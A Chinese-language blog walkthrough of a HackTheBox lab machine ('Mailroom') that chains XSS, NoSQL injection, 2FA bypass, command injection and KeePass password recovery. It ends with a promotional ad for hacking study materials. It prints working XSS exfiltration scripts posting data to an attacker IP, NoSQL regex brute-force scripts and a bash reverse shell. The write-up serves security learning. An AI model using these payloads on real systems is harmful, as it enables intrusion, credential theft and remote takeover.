常规的XSS利用方式主要有窃取cookie、恶意链接、获取键盘记录、网页钓鱼、挂马等等,本次渗透首先通过XSS漏洞,利用XMLRequest发起ajax请求,实现了发起http请求的目的,并且把请求的结果返回了,通过代码审计,打开了突破的口子。后续还运用到了Nosql注入、绕过2FA验证、kdbx文件解密等等技术,渗透过程涉及很多小的知识点,充满乐趣与挑战,下面开始此次渗透之旅。
一、信息收集
nmap -p- --min-rate=1000 -T4 -sC -sV -Pn 10.10.11.209
看来要从80端口的web服务硬着开始了。
目录扫描一波无果,发现还存在子域名;
另外一个子域名的发现是需要考耐心和水平的,(别忘记了查看源码的重要性);
接下来又是常规的对子域名开展一波信息收集,然后就进入漏洞挖掘阶段。
二、漏洞挖掘
1、XSS漏洞
进到web界面各种尝试发现了一个xss,
并没有过滤,可以成功触发;
第一反应是想到抓cookie,尝试这个payload来获取cookie失败了,什么都没拿到;
后续也尝试了其他利用方法均无果。
2、XMLRequest发起ajax请求
在网上搜索后发现另一种方法,利用xss,最终实现了发起http请求的目的,并且把请求的结果返回了,我也尝试一下;
<script>
var fetch\_req = new XMLHttpRequest();
fetch\_req.onreadystatechange = function() {
if(fetch\_req.readyState == XMLHttpRequest.DONE) {
var exfil\_req = new XMLHttpRequest();
exfil\_req.open("POST", "http://10.10.16.5", false);
exfil\_req.send("Resp Code: " + fetch\_req.status + "\\nPage Source:\\n" + fetch\_req.response);
}
};
fetch\_req.open("GET", "http://127.0.0.1//contact.php", false);
fetch\_req.send();
</script>
nc -lvnp 80
成功收到了请求的信息,内容就是contact.php 的内容,也就是意味着我们可以在内网中发起请求。
我们直接在kali本地访问子域名,发现403了。
那么接下来我们尝试使用xss进行请求。
└─# cat pwned.js
var http = new XMLHttpRequest();
http.open('GET', "http://staff-review-panel.mailroom.htb/index.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
fetch("http://10.10.16.5/out?" + encodeURI(btoa(this.responseText)));
};
http.send(null);
Burp报文
POST /contact.php HTTP/1.1
Host: mailroom.htb
Content-Length: 82
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://mailroom.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.48
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://mailroom.htb/contact.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
email=1%401.com&title=1&message=<script src="http://10.10.16.5/pwned.js"></script>
成功接收回显!!读取到的内容是base64 加密过后的内容。
3、代码审计
对主要的auth.php认证文件进行审计;
<?php
require 'vendor/autoload.php';
session\_start(); // Start a session
$client = new MongoDB\\Client("mongodb://mongodb:27017"); // Connect to the MongoDB database
header('Content-Type: application/json');
if (!$client) {
header('HTTP/1.1 503 Service Unavailable');
echo json\_encode(\['success' => false, 'message' => 'Failed to connect to the database'\]);
exit;
}
$collection = $client->backend\_panel->users; // Select the users collection
// Authenticate user & Send 2FA if valid
if (isset($\_POST\['email'\]) && isset($\_POST\['password'\])) {
// Verify the parameters are valid
if (!is\_string($\_POST\['email'\]) || !is\_string($\_POST\['password'\])) {
header('HTTP/1.1 401 Unauthorized');
echo json\_encode(\['success' => false, 'message' => 'Invalid input detected'\]);
}
// Check if the email and password are correct
$user = $collection->findOne(\['email' => $\_POST\['email'\], 'password' => $\_POST\['password'\]\]);
if ($user) {
// Generate a random UUID for the 2FA token
$token = bin2hex(random\_bytes(16));
$now = time();
// Update the user record in the database with the 2FA token if not already sent in the last minute
$user = $collection->findOne(\['\_id' => $user\['\_id'\]\]);
if(($user\['2fa\_token'\] && ($now - $user\['token\_creation'\]) > 60) || !$user\['2fa\_token'\]) {
$collection->updateOne(
\['\_id' => $user\['\_id'\]\],
\['$set' => \['2fa\_token' => $token, 'token\_creation' => $now\]\]
);
// Send an email to the user with the 2FA token
$to = $user\['email'\];
$subject = '2FA Token';
$message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token;
mail($to, $subject, $message);
}
// Return a JSON response notifying about 2fa
echo json\_encode(\['success' => true, 'message' => 'Check your inbox for an email with your 2FA token'\]);
exit;
} else {
// Return a JSON error response
header('HTTP/1.1 401 Unauthorized');
echo json\_encode(\['success' => false, 'message' => 'Invalid email or password'\]);
}
}
// Check for invalid parameters
else if (!isset($\_GET\['token'\])) {
header('HTTP/1.1 400 Bad Request');
echo json\_encode(\['success' => false, 'message' => 'Email and password are required'\]);
exit;
}
// Check if the form has been submitted
else if (isset($\_GET\['token'\])) {
// Verify Token parameter is valid
if (!is\_string($\_GET\['token'\]) || strlen($\_GET\['token'\]) !== 32) {
header('HTTP/1.1 401 Unauthorized');
echo json\_encode(\['success' => false, 'message' => 'Invalid input detected'\]);
exit;
}
// Check if the token is correct
$user = $collection->findOne(\['2fa\_token' => $\_GET\['token'\]\]);
if ($user) {
// Set the logged\_in flag and name in the session
$\_SESSION\['logged\_in'\] = true;
$\_SESSION\['name'\] = explode('@', $user\['email'\])\[0\];
// Remove 2FA token since user already used it to log in
$collection->updateOne(
\['\_id' => $user\['\_id'\]\],
\['$unset' => \['2fa\_token' => ''\]\]
);
// Redirect to dashboard since login was successful
header('Location: dashboard.php');
exit;
} else {
// Return a JSON error response
header('HTTP/1.1 401 Unauthorized');
echo json\_encode(\['success' => false, 'message' => 'Invalid 2FA Login Token'\]);
exit;
}
}
?>
审计了一下,这个页面的作用是身份认证,正如文件名auth.php 一样 ,首先观察到后端用的数据库为 MongoDB,MongoDB注意会有Nosql注入的情况,然后就是开始身份认证逻辑。
首先检查用户是否通过POST请求发送emali 和 password 字段,在数据库中查找用户按照这个条件,如果找到该用户,那么进入2FA验证逻辑。服务器会发送一封邮件到指定的邮箱中,点击这个邮箱中收到的链接才会在session中存放一个token字段,最后校验这个token正确的话才表示登入成功,token长度为32个字符,且为字符串类型。
这里是存在nosql注入的,有关于nosql注入的知识请自行补充。
在看下inspect.php的源码;
<?php
session\_start(); // Start a session
// Check if authorized
if (!isset($\_SESSION\['logged\_in'\]) || $\_SESSION\['logged\_in'\] !== true) {
header('Location: index.php'); // The user is NOT logged in, redirect back to the login page
exit;
}
$data = '';
if (isset($\_POST\['inquiry\_id'\])) {
$inquiryId = preg\_replace('/\[\\$<>;|&{}\\(\\)\\\[\\\]\\'\\"\]/', '', $\_POST\['inquiry\_id'\]);
$contents = shell\_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");
// Parse the data between and </p>
$start = strpos($contents, '<p class="lead mb-0">');
if ($start === false) {
// Data not found
$data = 'Inquiry contents parsing failed';
} else {
$end = strpos($contents, '</p>', $start);
$data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21));
}
}
$status\_data = '';
if (isset($\_POST\['status\_id'\])) {
$inquiryId = preg\_replace('/\[\\$<>;|&{}\\(\\)\\\[\\\]\\'\\"\]/', '', $\_POST\['status\_id'\]);
$contents = shell\_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");
// Parse the data between and </p>
$start = strpos($contents, '<p class="lead mb-1">');
if ($start === false) {
// Data not found
$status\_data = 'Inquiry contents parsing failed';
} else {
$end = strpos($contents, '</p>', $start);
$status\_data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21));
}
}
?>
这个文件带有命令执行!!!shell_exec(“cat /var/www/mailroom/inquiries/$inquiryId.html”);后续会利用到。
因为网站还部署了git,所以简单介绍下如何发现所有的git用户;
4、Nosql注入
我们看到auth.php中验证是通过 和MongoDB 交互的,我们在这里尝试 nosql
\# cat pwnnosql.js
var http = new XMLHttpRequest();
http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
fetch("http://10.10.16.5/out?" + encodeURI(btoa(this.responseText)));
};
http.send("email\[$ne\]=someb0dy@sm.com&password\[$ne\]=someb0dy");
可以看到我们成功登录了
接下来想办法通过nosql爆破用户名和密码
爆破用户名;
下面的脚本通过递归调用的方式慢慢爆出我们想要的内容
#cat pwnuser.js
async function callAuth(mail) {
var http = new XMLHttpRequest();
http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
if (/"success":true/.test(this.responseText)) {
notify(mail);
cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\\"#$%'()+, -/:;<=>@\[\\\]\_\`{}~", mail);
}
};
http.send("email\[$regex\]=.\*" + mail + "@mailroom.htb&password\[$ne\]=abc");
}
function notify(mail) {
fetch("http://10.10.16.5/out?" + mail);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\\"#$%'()+, -/:;<=>@\[\\\]\_\`{}~";
function cal(chars, mail) {
for (var i = 0; i < chars.length; i++) {
callAuth(chars\[i\] + mail)
}
}
cal(chars, "");
在burp上 连续发送两个包;
我们可以看到返回了username 末尾的三个字符
那我们修改一下脚本
async function callAuth(mail) {
var http = new XMLHttpRequest();
http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
if (/"success":true/.test(this.responseText)) {
notify(mail);
cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\\"#$%'()+, -/:;<=>@\[\\\]\_\`{}~", mail);
}
};
http.send("email\[$regex\]=.\*" + mail + "@mailroom.htb&password\[$ne\]=abc");
}
function notify(mail) {
fetch("http://10.10.16.5/out?" + mail);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\\"#$%'()+, -/:;<=>@\[\\\]\_\`{}~";
function cal(chars, mail) {
for (var i = 0; i < chars.length; i++) {
callAuth(chars\[i\] + mail)
}
}
cal(chars, "tan");
把cal(chars,“”) 修改成 cal(chars,“tan”);
继续前面的操作,burpsuite 上发送两个包
可以看到又多爆出了3个email 的字符,一直这样操作直到,直到不再有新的字符生成。
爆破密码,同样的方法;
async function callAuth(pass) {
var http = new XMLHttpRequest();
http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {
if (/"success":true/.test(this.responseText)) {
notify(pass);
cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\\"#%'()+, -/:;<=>@\[\\\]\_\`{}~", pass);
}
};
http.send("email=tristan@mailroom.htb&password\[$regex\]=^"+pass);
}
function notify(pass) {
fetch("http://10.10.16.5/out?" + pass);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\\"#%'()+, -/:;<=>@\[\\\]\_\`{}~";
function cal(chars, pass) {
for (var i = 0; i < chars.length; i++) {
callAuth(pass+chars\[i\])
}
}
cal(chars, "");
burp点2下;
最终得到用户名和密码,尝试ssh登录,成功登录。
三、提权
1、2FA验证
登录上来后,发现内网中的 staff-review-panel 这个域名我们不能直接访问,通过搭建socks代理或者简单点ssh端口转发;
ssh -L 8080:127.0.0.1:80 tristan@10.10.11.209
尝试登录需要 2FA验证;
我们在/etc/mail/tristan 文件中发现了这个链接;
访问一下,成功进入;
2、RCE
还记得inspect.php是可以执行命令的,在代码中调用了shell_exec,传入参数我们可控,我们在这里尝试;
nc 文件的内容
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.5/5555 0>&1
远程下载成功后,继续执行反弹命令;
反弹成功;
反弹shell 后 我们参数搜索有 matthew 关键字的文件;
grep “matthew” ./ -r
成功从配置文件中获取到matthew用户的密码。
3、kdbx文件解密
在matthew 目录下发现一个 personal.kdbx 文件,尝试下载;
这种后缀名的文件可以使用keePass软件打开,但是需要key。
pspy 看进进程的时候找到了 kpcli 进程;
通过ps -ef | grep kpcli | grep perl | awk '{print $2} '来找到 kpcli的进程id;
通过 strace -p 来查看系统调用;
因为密码多半是我们从终端输入进去程序的,所以我们查看read的系统调用,之所以寻找调用read(0 的 的信息,0是标准输入流stdin,也就是我们的输入。
在这里\10 模拟了删除的操作,对照 ascii 表 8进制可以看到;
由此可得到密码:!sEcUr3p4$$w0rd9
最后查看root acc 拿到root的密码,就可以顺利切换到root用户。
还有另一种方法;
由此也可以得到root用户的密码。
四、源码分析
源码是在docker里的;
docker exec -it 652cff262922 /bin/bash
tar -zcvf mailroom.tar.gz /var/www/mailroom/
docker cp 652cff262922:/var/www/mailroom.tar.gz /tmp/mailroom.tar.gz
得到源码后,分析下XSS漏洞形成的原因;
可以控制输入message,并且没有任何过滤;
inquiry_template.html 参数传递到了前端网页;这2处其实都存在xss漏洞;
实测的效果;
最后总结下本次渗透的流程;
信息收集子域名—>通过xss读取源码—>代码审计—>nosql注入—>拿到用户1的ssh密码—>绕过2FA验证—>RCE—>寻找敏感信息—>成功拿到用户2的凭证—>kdbx文件解密—>root
题外话
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的网安视频教程,之前都是内部资源,专业方面绝对可以秒杀国内99%的机构和个人教学!全网独一份,你不可能在网上找到这么专业的教程。
内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,200多G的资源,不用担心学不全。
因篇幅有限,仅展示部分资料,需要见下图即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要见下图即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话见下图即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要见下图即可前往获取
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
————————————————
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。